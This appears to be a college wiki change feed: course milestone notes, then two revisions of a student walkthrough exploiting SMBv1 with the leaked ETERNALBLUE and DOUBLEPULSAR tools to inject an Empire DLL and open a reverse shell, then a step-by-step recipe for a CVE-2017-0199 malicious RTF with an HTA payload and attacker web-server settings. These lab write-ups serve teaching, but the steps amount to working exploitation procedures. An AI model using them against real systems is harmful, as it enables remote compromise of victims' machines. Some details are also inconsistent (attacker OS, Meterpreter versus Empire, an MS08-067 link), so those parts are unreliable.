&lt;br /&gt;
==Milestone 1==&lt;br /&gt;
&lt;br /&gt;
Domain controller is working.&lt;br /&gt;
In the internal network and over VPN connection blah.office.lan DNS requests work as expected.&lt;br /&gt;
&lt;br /&gt;
On a Linux box command line users can authenticate with kerberos client utils:&lt;br /&gt;
&lt;br /&gt;
  kinit username@OFFICE.LAN&lt;br /&gt;
&lt;br /&gt;
On a Linux box command line users can fetch stuff via LDAP:&lt;br /&gt;
&lt;br /&gt;
 ldapsearch -b dc=office,dc=lan  -H ldap://dc-hq.office.lan -D lauri@office.lan -W&lt;br /&gt;
&lt;br /&gt;
Also authenitcation with Kerberos should work:&lt;br /&gt;
&lt;br /&gt;
 ldapsearch -b dc=office,dc=lan  -H ldap://dc-hq.office.lan -Y GSSAPI&lt;br /&gt;
&lt;br /&gt;
To make life easier configure /etc/ldap/ldap.conf, if properly configured short commands work:&lt;br /&gt;
&lt;br /&gt;
 ldapsearch&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Milestone 2==&lt;br /&gt;
&lt;br /&gt;
Deadline 21. Feb&lt;br /&gt;
&lt;br /&gt;
Some services are using accounts from AD&lt;br /&gt;
&lt;br /&gt;
==Milestone 3==&lt;br /&gt;
&lt;br /&gt;
Deadline 28. Feb&lt;br /&gt;
&lt;br /&gt;
Service owner has client application configured and knows how to configure them&lt;br /&gt;
&lt;br /&gt;
==Milestone 4==&lt;br /&gt;
&lt;br /&gt;
Deadline 7. Mar&lt;br /&gt;
&lt;br /&gt;
Preliminary manual page created on college wiki for configuring the client application(s).&lt;br /&gt;
Other students are using your service.&lt;br /&gt;
&lt;br /&gt;
==Milestone 5==&lt;br /&gt;
&lt;br /&gt;
Keep services up and running, respond to incidents until 5th of June.&lt;br /&gt;
Server teardown on 5th of May. Wipe harddisks.&lt;br /&gt;
&lt;br /&gt;
Everybody who has completed howto, presented their topic, co-operated with other students and not left all the responsibilities to the last minute will get a passing grade. Slackers have an opportunity to do a (hard) quiz about the topics presented to get a passing grade.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Passing the course=&lt;br /&gt;
&lt;br /&gt;
==Option A: Get busy early==&lt;br /&gt;
&lt;br /&gt;
Get following done by the end of April:&lt;br /&gt;
&lt;br /&gt;
* Present what you did in the lecture 45min max&lt;br /&gt;
* Make the necessary modifications, eg admin groups for nextcloud, wiki, gogs, jira; remove service accounts from domain users/admins group&lt;br /&gt;
* Submit your presentation by uploading it to Presentations folder shared at https://nextcloud.biz.wut.ee/&lt;br /&gt;
* Publish howto for setting up your service on internal wiki at https://wiki.biz.wut.ee/index.php/Main_Page&lt;br /&gt;
* Help others to make use of your service&lt;br /&gt;
* Publish howto for end users on internal wiki: https://wiki.biz.wut.ee/index.php/Main_Page&lt;br /&gt;
* Help fellow students to make use of your service&lt;br /&gt;
* Make use of others&#039; services (!!!), report issues to service administrator&lt;br /&gt;
* Send Lauri an encrypted e-mail, howto coming up soon&lt;br /&gt;
&lt;br /&gt;
Keep services up and running, respond to incidents until 12th of May.&lt;br /&gt;
Server teardown and &#039;&#039;&#039;hard deadline&#039;&#039;&#039; 12th of May:&lt;br /&gt;
Who hasn&#039;t done bullet points, including sending encrypted e-mail shall not pass!&lt;br /&gt;
&lt;br /&gt;
==Option B: Quiz==&lt;br /&gt;
&lt;br /&gt;
If you haven&#039;t done anything but you still want to pass please inform me early enough&lt;br /&gt;
so I can prepare exam questions here and we can have exam in June:&lt;br /&gt;
&lt;br /&gt;
* What are the benefits of using hardware authentication token such as Yubikey&lt;br /&gt;
* What is two factor authentication&lt;br /&gt;
* In LDAP jargon what is common name, distinguished name, base DN?&lt;br /&gt;
* What are benefits provided by Kerberos protocol&lt;br /&gt;
* What software suites implement Kerberos?&lt;br /&gt;
* TLS protocol combines which crypto primitives? What are some properties of a TLS tunnel?&lt;br /&gt;
* More questions coming up later&lt;br /&gt;
&lt;br /&gt;
== RED TEAM ==&lt;br /&gt;
Ender Phan: https://docs.google.com/presentation/d/1rH05bvqkaWYXeNwkC8XC5_UGRg2iUFltAodPaWRCIJc/edit&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120938</id>
		<title>NSA - MS17-010</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120938"/>
		<updated>2017-05-02T20:55:55Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: /* Microsoft Security Bulletin MS17-010 - NSA Tool leak */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Microsoft Security Bulletin MS17-010 - NSA Tool leak ==&lt;br /&gt;
&lt;br /&gt;
Author: Ender Loc Phan&lt;br /&gt;
&lt;br /&gt;
Video Proof: https://www.youtube.com/watch?v=6VWQcMP6v4w&lt;br /&gt;
&lt;br /&gt;
=== Introduction ===&lt;br /&gt;
&lt;br /&gt;
At last April 8, TheShadowBrokers has published a bunch of tools that was stolen from the NSA Arsenal&lt;br /&gt;
Hacker Tools. A Github repository is the following: https://github.com/misterch0c/shadowbroker.&lt;br /&gt;
In this paper, we’ll focus on ETERNALBLUE exploit for Microsoft Windows and the plugin&lt;br /&gt;
DOUBLEPULSAR. To leverage these “fantastic” codes, we’ll be using FUZZBUNCH, The NSA’s&lt;br /&gt;
“Metasploit”&lt;br /&gt;
&lt;br /&gt;
Affected Software:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture17.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Why Eternalblue &amp;amp; DoublePulsar? ===&lt;br /&gt;
&lt;br /&gt;
An information disclosure vulnerability exists in the way that the Microsoft Server Message Block 1.0 (SMBv1) server handles certain requests. An attacker who successfully exploited this vulnerability could craft a special packet, which could lead to information disclosure from the server.&lt;br /&gt;
To exploit the vulnerability, in most situations, an unauthenticated attacker could send a specially crafted packet to a targeted SMBv1 server.&lt;br /&gt;
The security update addresses the vulnerability by correcting how SMBv1 handles these specially crafted requests.&lt;br /&gt;
&lt;br /&gt;
ETERNALBLUE is the only one that can be used to attacking Windows 7 and Windows Server 2008 without needing authentication. After that, we&lt;br /&gt;
can use the plugin DOUBLEPULSAR in order that injecting remotely a malicious DLL on the target&lt;br /&gt;
machine.We wi ll make a malicious DLL using Empire to get&lt;br /&gt;
a reverse connection from the target to the attacker machine.&lt;br /&gt;
&lt;br /&gt;
=== Setting up Environment ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attacker:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7 ( To execute NSA tool ): &#039;&#039;&#039;192.168.0.106&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Kali Linux ( To generate DLL file and being a listener https://github.com/EmpireProject/Empire ): &#039;&#039;&#039;192.168.0.109&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Victim:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7/SVR2008 : &#039;&#039;&#039;192.168.0.107&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Setting up the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
We are going to use FUZZBUNCH, the NSA’s “Metasploit”. As mentioned above, this framework was&lt;br /&gt;
coded with Python 2.6 and it uses an old version of PyWin32: v2.12.&lt;br /&gt;
&lt;br /&gt;
Knowing that, we must install the following tools in our Windows XP attacker machine:&lt;br /&gt;
&lt;br /&gt;
- Python 2.6: https://www.python.org/download/releases/2.6/ (add it to the Windows’ PATH&lt;br /&gt;
environment variable)&lt;br /&gt;
&lt;br /&gt;
- PyWin32 v2.12: https://sourceforge.net/projects/pywin32/files/pywin32/Build%20212/&lt;br /&gt;
&lt;br /&gt;
- Notepad++: https://notepad-plus-plus.org/download/ (You can also use Notepad).&lt;br /&gt;
&lt;br /&gt;
All of them are executable installers so we can just press “next, next, next, accept, next…”.&lt;br /&gt;
&lt;br /&gt;
When we finish our installations, we must open a cmd.exe and move to the folder where the tool was&lt;br /&gt;
downloaded, punctually where the FUZZBUNCH: “fb.py” is (inside the folder shadowbrokermaster/Windows) and then execute “python fb.py”.&lt;br /&gt;
&lt;br /&gt;
You will see that it won’t run correctly, the script will show you an error because it’s not finding the&lt;br /&gt;
directory named “ListeningPost”. This happens because inside the leak that specific folder is empty. So,&lt;br /&gt;
to avoid that error we edit “fb.py” and simply comment the line number 72:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture.PNG]]&lt;br /&gt;
&lt;br /&gt;
After that, we proceed to open the Fuzzbunch.xml file that is inside the same folder in order that replace&lt;br /&gt;
the paths on the line 19 and 24 for other ones that we could have in our own system, for example:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture2.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Executing the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
Now, we can execute again the command “python fb.py” and we should see that FUZZBUNCH is doing it&lt;br /&gt;
correctly:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture3.PNG]]&lt;br /&gt;
&lt;br /&gt;
When we initialize FUZZBUNCH, it will ask for a target IP address, we must write our target IP (Windows&lt;br /&gt;
7/2008 machine).&lt;br /&gt;
&lt;br /&gt;
Immediately, it will ask for a callback’s IP, we must specify the attacker IP (Windows XP machine).&lt;br /&gt;
&lt;br /&gt;
[[File:Capture4.PNG]]&lt;br /&gt;
&lt;br /&gt;
Press “enter” to continue and it will ask for a name to the project. We used the one already created&lt;br /&gt;
&amp;quot;eternal1&amp;quot;. If you don’t have any, press “enter” to be asked for a name. With that data, the log folder for&lt;br /&gt;
that project will be created.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture5.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Using EternalBlue framework ===&lt;br /&gt;
&lt;br /&gt;
The first step is to select the exploit that we are going to use, which is ETERNALBLUE. So, we’ll execute&lt;br /&gt;
on the FUZZBUNCH terminal: “use EternalBlue”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture6.PNG]]&lt;br /&gt;
&lt;br /&gt;
From this point, we’ll use by default configurations in every parameter, EXCEPT at the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture7.PNG]]&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run ETERNALBLUE&lt;br /&gt;
&lt;br /&gt;
If all was as we expected, we should see the message “Eternalblue Succeeded”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture8.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Generating malicious DLL by using Empire===&lt;br /&gt;
&lt;br /&gt;
At this step, we need to create a malicious DLL (the Payload) which we’ll use with DOUBLEPULSAR to&lt;br /&gt;
remotely inject it into the target’s system previously impacted with ETERNALBLUE.&lt;br /&gt;
&lt;br /&gt;
To create the DLL, we need to move to the Linux attacker machine where we have installed the Empire&lt;br /&gt;
framework.&lt;br /&gt;
&lt;br /&gt;
Step 1: Set up a listener that can receive the reverse connection when the DLL is being injected&lt;br /&gt;
&lt;br /&gt;
[[File:Capture9.PNG]]&lt;br /&gt;
&lt;br /&gt;
Note: The IP address that we must to set at “Host” parameter is from the Linux attacker machine.&lt;br /&gt;
&lt;br /&gt;
Step 2: Create the malicious DLL&lt;br /&gt;
&lt;br /&gt;
[[File:Capture10.PNG]]&lt;br /&gt;
&lt;br /&gt;
Now we have our malicious DLL in /tmp/launcher.dll, we should simply copy that DLL to the Windows XP&lt;br /&gt;
attacker machine so we can use it with FUZZBUNCH.&lt;br /&gt;
&lt;br /&gt;
=== Injecting the malicious DLL via DoublePulsar ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Going back to the Windows XP attacker machine, we now run “use DoublePulsar” on the FUZZBUNCH&lt;br /&gt;
terminal.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture11.PNG]]&lt;br /&gt;
&lt;br /&gt;
Again, we’ll use every parameter with default configuration stopping when we reached the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture12.PNG]]&lt;br /&gt;
&lt;br /&gt;
We must select the architecture of the Windows 7/2008 target machine that we are going to impact (in&lt;br /&gt;
my case it is x64). Then, we’ll do the most important part of this step, we are going to indicate that we&lt;br /&gt;
want to perform a DLL injection (Option 2 – “RunDLL”).&lt;br /&gt;
&lt;br /&gt;
The framework will ask us for the local path where our malicious DLL is located (which is the one we&lt;br /&gt;
created with Empire and we copied to Windows XP attacker machine). The following parameters must&lt;br /&gt;
be used with default configuration.&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run DOUBLEPULSAR.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture13.PNG]]&lt;br /&gt;
&lt;br /&gt;
And if everything works cool…&lt;br /&gt;
&lt;br /&gt;
[[File:Capture14.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Getting Empire session ===&lt;br /&gt;
&lt;br /&gt;
[[File:Capture15.PNG]]&lt;br /&gt;
&lt;br /&gt;
Interact with victim&lt;br /&gt;
&lt;br /&gt;
[[File:Capture16.PNG]]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;WE WIN!!!!!!&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finally, we’ve obtained a Meterpreter shell on a Windows 7 SP1 x64 without needing for user&lt;br /&gt;
interaction, just with knowing its IP.&lt;br /&gt;
&lt;br /&gt;
Vulnerability detail: &lt;br /&gt;
&lt;br /&gt;
https://technet.microsoft.com/en-us/library/security/ms08-067.aspx&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120937</id>
		<title>NSA - MS17-010</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120937"/>
		<updated>2017-05-02T19:10:14Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: /* Why Eternalblue &amp;amp; DoublePulsar? */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Microsoft Security Bulletin MS17-010 - NSA Tool leak ==&lt;br /&gt;
&lt;br /&gt;
Author: Ender Loc Phan&lt;br /&gt;
&lt;br /&gt;
Video Proof: &lt;br /&gt;
&lt;br /&gt;
=== Introduction ===&lt;br /&gt;
&lt;br /&gt;
At last April 8, TheShadowBrokers has published a bunch of tools that was stolen from the NSA Arsenal&lt;br /&gt;
Hacker Tools. A Github repository is the following: https://github.com/misterch0c/shadowbroker.&lt;br /&gt;
In this paper, we’ll focus on ETERNALBLUE exploit for Microsoft Windows and the plugin&lt;br /&gt;
DOUBLEPULSAR. To leverage these “fantastic” codes, we’ll be using FUZZBUNCH, The NSA’s&lt;br /&gt;
“Metasploit”&lt;br /&gt;
&lt;br /&gt;
Affected Software:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture17.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Why Eternalblue &amp;amp; DoublePulsar? ===&lt;br /&gt;
&lt;br /&gt;
An information disclosure vulnerability exists in the way that the Microsoft Server Message Block 1.0 (SMBv1) server handles certain requests. An attacker who successfully exploited this vulnerability could craft a special packet, which could lead to information disclosure from the server.&lt;br /&gt;
To exploit the vulnerability, in most situations, an unauthenticated attacker could send a specially crafted packet to a targeted SMBv1 server.&lt;br /&gt;
The security update addresses the vulnerability by correcting how SMBv1 handles these specially crafted requests.&lt;br /&gt;
&lt;br /&gt;
ETERNALBLUE is the only one that can be used to attacking Windows 7 and Windows Server 2008 without needing authentication. After that, we&lt;br /&gt;
can use the plugin DOUBLEPULSAR in order that injecting remotely a malicious DLL on the target&lt;br /&gt;
machine.We wi ll make a malicious DLL using Empire to get&lt;br /&gt;
a reverse connection from the target to the attacker machine.&lt;br /&gt;
&lt;br /&gt;
=== Setting up Environment ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attacker:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7 ( To execute NSA tool ): &#039;&#039;&#039;192.168.0.106&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Kali Linux ( To generate DLL file and being a listener https://github.com/EmpireProject/Empire ): &#039;&#039;&#039;192.168.0.109&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Victim:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7/SVR2008 : &#039;&#039;&#039;192.168.0.107&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Setting up the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
We are going to use FUZZBUNCH, the NSA’s “Metasploit”. As mentioned above, this framework was&lt;br /&gt;
coded with Python 2.6 and it uses an old version of PyWin32: v2.12.&lt;br /&gt;
&lt;br /&gt;
Knowing that, we must install the following tools in our Windows XP attacker machine:&lt;br /&gt;
&lt;br /&gt;
- Python 2.6: https://www.python.org/download/releases/2.6/ (add it to the Windows’ PATH&lt;br /&gt;
environment variable)&lt;br /&gt;
&lt;br /&gt;
- PyWin32 v2.12: https://sourceforge.net/projects/pywin32/files/pywin32/Build%20212/&lt;br /&gt;
&lt;br /&gt;
- Notepad++: https://notepad-plus-plus.org/download/ (You can also use Notepad).&lt;br /&gt;
&lt;br /&gt;
All of them are executable installers so we can just press “next, next, next, accept, next…”.&lt;br /&gt;
&lt;br /&gt;
When we finish our installations, we must open a cmd.exe and move to the folder where the tool was&lt;br /&gt;
downloaded, punctually where the FUZZBUNCH: “fb.py” is (inside the folder shadowbrokermaster/Windows) and then execute “python fb.py”.&lt;br /&gt;
&lt;br /&gt;
You will see that it won’t run correctly, the script will show you an error because it’s not finding the&lt;br /&gt;
directory named “ListeningPost”. This happens because inside the leak that specific folder is empty. So,&lt;br /&gt;
to avoid that error we edit “fb.py” and simply comment the line number 72:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture.PNG]]&lt;br /&gt;
&lt;br /&gt;
After that, we proceed to open the Fuzzbunch.xml file that is inside the same folder in order that replace&lt;br /&gt;
the paths on the line 19 and 24 for other ones that we could have in our own system, for example:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture2.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Executing the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
Now, we can execute again the command “python fb.py” and we should see that FUZZBUNCH is doing it&lt;br /&gt;
correctly:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture3.PNG]]&lt;br /&gt;
&lt;br /&gt;
When we initialize FUZZBUNCH, it will ask for a target IP address, we must write our target IP (Windows&lt;br /&gt;
7/2008 machine).&lt;br /&gt;
&lt;br /&gt;
Immediately, it will ask for a callback’s IP, we must specify the attacker IP (Windows XP machine).&lt;br /&gt;
&lt;br /&gt;
[[File:Capture4.PNG]]&lt;br /&gt;
&lt;br /&gt;
Press “enter” to continue and it will ask for a name to the project. We used the one already created&lt;br /&gt;
&amp;quot;eternal1&amp;quot;. If you don’t have any, press “enter” to be asked for a name. With that data, the log folder for&lt;br /&gt;
that project will be created.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture5.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Using EternalBlue framework ===&lt;br /&gt;
&lt;br /&gt;
The first step is to select the exploit that we are going to use, which is ETERNALBLUE. So, we’ll execute&lt;br /&gt;
on the FUZZBUNCH terminal: “use EternalBlue”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture6.PNG]]&lt;br /&gt;
&lt;br /&gt;
From this point, we’ll use by default configurations in every parameter, EXCEPT at the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture7.PNG]]&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run ETERNALBLUE&lt;br /&gt;
&lt;br /&gt;
If all was as we expected, we should see the message “Eternalblue Succeeded”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture8.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Generating malicious DLL by using Empire===&lt;br /&gt;
&lt;br /&gt;
At this step, we need to create a malicious DLL (the Payload) which we’ll use with DOUBLEPULSAR to&lt;br /&gt;
remotely inject it into the target’s system previously impacted with ETERNALBLUE.&lt;br /&gt;
&lt;br /&gt;
To create the DLL, we need to move to the Linux attacker machine where we have installed the Empire&lt;br /&gt;
framework.&lt;br /&gt;
&lt;br /&gt;
Step 1: Set up a listener that can receive the reverse connection when the DLL is being injected&lt;br /&gt;
&lt;br /&gt;
[[File:Capture9.PNG]]&lt;br /&gt;
&lt;br /&gt;
Note: The IP address that we must to set at “Host” parameter is from the Linux attacker machine.&lt;br /&gt;
&lt;br /&gt;
Step 2: Create the malicious DLL&lt;br /&gt;
&lt;br /&gt;
[[File:Capture10.PNG]]&lt;br /&gt;
&lt;br /&gt;
Now we have our malicious DLL in /tmp/launcher.dll, we should simply copy that DLL to the Windows XP&lt;br /&gt;
attacker machine so we can use it with FUZZBUNCH.&lt;br /&gt;
&lt;br /&gt;
=== Injecting the malicious DLL via DoublePulsar ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Going back to the Windows XP attacker machine, we now run “use DoublePulsar” on the FUZZBUNCH&lt;br /&gt;
terminal.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture11.PNG]]&lt;br /&gt;
&lt;br /&gt;
Again, we’ll use every parameter with default configuration stopping when we reached the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture12.PNG]]&lt;br /&gt;
&lt;br /&gt;
We must select the architecture of the Windows 7/2008 target machine that we are going to impact (in&lt;br /&gt;
my case it is x64). Then, we’ll do the most important part of this step, we are going to indicate that we&lt;br /&gt;
want to perform a DLL injection (Option 2 – “RunDLL”).&lt;br /&gt;
&lt;br /&gt;
The framework will ask us for the local path where our malicious DLL is located (which is the one we&lt;br /&gt;
created with Empire and we copied to Windows XP attacker machine). The following parameters must&lt;br /&gt;
be used with default configuration.&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run DOUBLEPULSAR.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture13.PNG]]&lt;br /&gt;
&lt;br /&gt;
And if everything works cool…&lt;br /&gt;
&lt;br /&gt;
[[File:Capture14.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Getting Empire session ===&lt;br /&gt;
&lt;br /&gt;
[[File:Capture15.PNG]]&lt;br /&gt;
&lt;br /&gt;
Interact with victim&lt;br /&gt;
&lt;br /&gt;
[[File:Capture16.PNG]]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;WE WIN!!!!!!&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finally, we’ve obtained a Meterpreter shell on a Windows 7 SP1 x64 without needing for user&lt;br /&gt;
interaction, just with knowing its IP.&lt;br /&gt;
&lt;br /&gt;
Vulnerability detail: &lt;br /&gt;
&lt;br /&gt;
https://technet.microsoft.com/en-us/library/security/ms08-067.aspx&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=CVE-2017-0199_Malicious_RTF_Document&amp;diff=120936</id>
		<title>CVE-2017-0199 Malicious RTF Document</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=CVE-2017-0199_Malicious_RTF_Document&amp;diff=120936"/>
		<updated>2017-05-02T18:42:32Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: /* Step 1 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==CVE-2017-0199 Malicious RTF Document==&lt;br /&gt;
===Step 1 ===&lt;br /&gt;
Prepare an HTA file: (HTA file are HTML application which can run JScript and VBscript)&lt;br /&gt;
Let&#039;s call it &amp;quot;ms.hta&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE html PUBLIC &amp;quot;-//W3C//DTD XHTML 1.0 Transitional//EN&amp;quot; &amp;quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;html xmlns=&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;head&amp;gt;  &lt;br /&gt;
   &amp;lt;meta content=&amp;quot;text/html; charset=utf-8&amp;quot; http-equiv=&amp;quot;Content-Type&amp;quot; /&amp;gt;  &lt;br /&gt;
   &amp;lt;title&amp;gt;Bonjour&amp;lt;/title&amp;gt;  &lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
a=new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
a.run(&#039;chrome https://www.youtube.com/watch?v=bp0AHQooVSY&#039;,0);&lt;br /&gt;
window.close();&lt;br /&gt;
&amp;lt;/script&amp;gt; &lt;br /&gt;
 &amp;lt;hta:application  &lt;br /&gt;
     id=&amp;quot;oHTA&amp;quot;  &lt;br /&gt;
     applicationname=&amp;quot;Bonjour&amp;quot;  &lt;br /&gt;
     application=&amp;quot;yes&amp;quot;  &lt;br /&gt;
   &amp;gt;  &lt;br /&gt;
   &amp;lt;/hta:application&amp;gt;  &lt;br /&gt;
   &amp;lt;/head&amp;gt;  &lt;br /&gt;
   &amp;lt;div&amp;gt;   &lt;br /&gt;
   &amp;lt;object type=&amp;quot;text/html&amp;quot; data=&amp;quot;http://windows.microsoft.com/en-IN/windows7/products/features/windows-defender&amp;quot; width=&amp;quot;100%&amp;quot; height=&amp;quot;100%&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;/object&amp;gt;&amp;lt;/div&amp;gt;    &lt;br /&gt;
   &amp;lt;body&amp;gt;  &lt;br /&gt;
   &amp;lt;/body&amp;gt;  &lt;br /&gt;
   &amp;lt;/html&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Step 2 ===&lt;br /&gt;
Create a simple RTF document using Winword with the any random content. (in our example the string &amp;quot;This is my official and legit content&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
Call it &amp;quot;ms.rtf&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Step 3 ===&lt;br /&gt;
Push these 2 files on a webserver you have full control on.&lt;br /&gt;
We supposed it will be stored in /var/www/html&lt;br /&gt;
&lt;br /&gt;
Now we have to configure Apache to be able to include the ms.rtf as a link&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 a2enmod dav  &lt;br /&gt;
 a2enmod dav_fs  &lt;br /&gt;
 a2enmod dav_lock  &lt;br /&gt;
 a2enmod headers  &lt;br /&gt;
 service apache2 restart &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The following directive will :&lt;br /&gt;
- Add &amp;quot;Content-Type application/rtf to all files in /ms&lt;br /&gt;
- Allow the PROPFIND request performed by Microsoft Office&lt;br /&gt;
&lt;br /&gt;
 Modify virtualhost and include:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Directory /var/www/html/ms/&amp;gt;  &lt;br /&gt;
 Header set Content-Type &amp;quot;application/rtf&amp;quot;  &lt;br /&gt;
 &amp;lt;/Directory&amp;gt;  &lt;br /&gt;
 &amp;lt;Directory /&amp;gt;  &lt;br /&gt;
 Dav on  &lt;br /&gt;
 &amp;lt;/Directory&amp;gt;  &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; service apache2 restart &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Step 4 ===&lt;br /&gt;
Create a simple RTF document using Winword &amp;quot;exploit.rtf&amp;quot; This will be our exploit !&lt;br /&gt;
&lt;br /&gt;
Insert -&amp;gt; Object&lt;br /&gt;
&lt;br /&gt;
[[File:Capture1-wiki.PNG]]&lt;br /&gt;
&lt;br /&gt;
After clicking OK you will get the content of the &amp;quot;ms.rtf&amp;quot; file which just contains a random string..&lt;br /&gt;
&lt;br /&gt;
Save the file as &amp;quot;exploit.rtf&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Step 5 ===&lt;br /&gt;
The following step will :&lt;br /&gt;
- change the ms.rtf that we have included with the custom HTA payload&lt;br /&gt;
- The web server will send a &amp;quot;application/hta&amp;quot; content-type... this will be interpreted by the Winword client which will run mshta to handle this content-type and execute our payload&lt;br /&gt;
&lt;br /&gt;
 cat /var/www/html/ms/ms.hta &amp;gt; /var/www/html/ms.rtf  &lt;br /&gt;
&lt;br /&gt;
 vi /etc/apache2/sites-enables/000-default  &lt;br /&gt;
 Change -&amp;gt; application/rtf to application/hta  &lt;br /&gt;
 like:  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Directory /var/www/html/ms/&amp;gt;  &lt;br /&gt;
 Header set Content-Type &amp;quot;application/hta&amp;quot;  &lt;br /&gt;
 &amp;lt;/Directory&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Step 6 ===&lt;br /&gt;
At this step, if the user opens the &amp;quot;exploit.rtf&amp;quot; file he will have to double click on the link object to launch the attack...&lt;br /&gt;
&lt;br /&gt;
If we want the OLE object to be loaded automatically at the opening of the document we have to edit the exploit.rtf file and change:&lt;br /&gt;
&lt;br /&gt;
[[File:5.png]]&lt;br /&gt;
&lt;br /&gt;
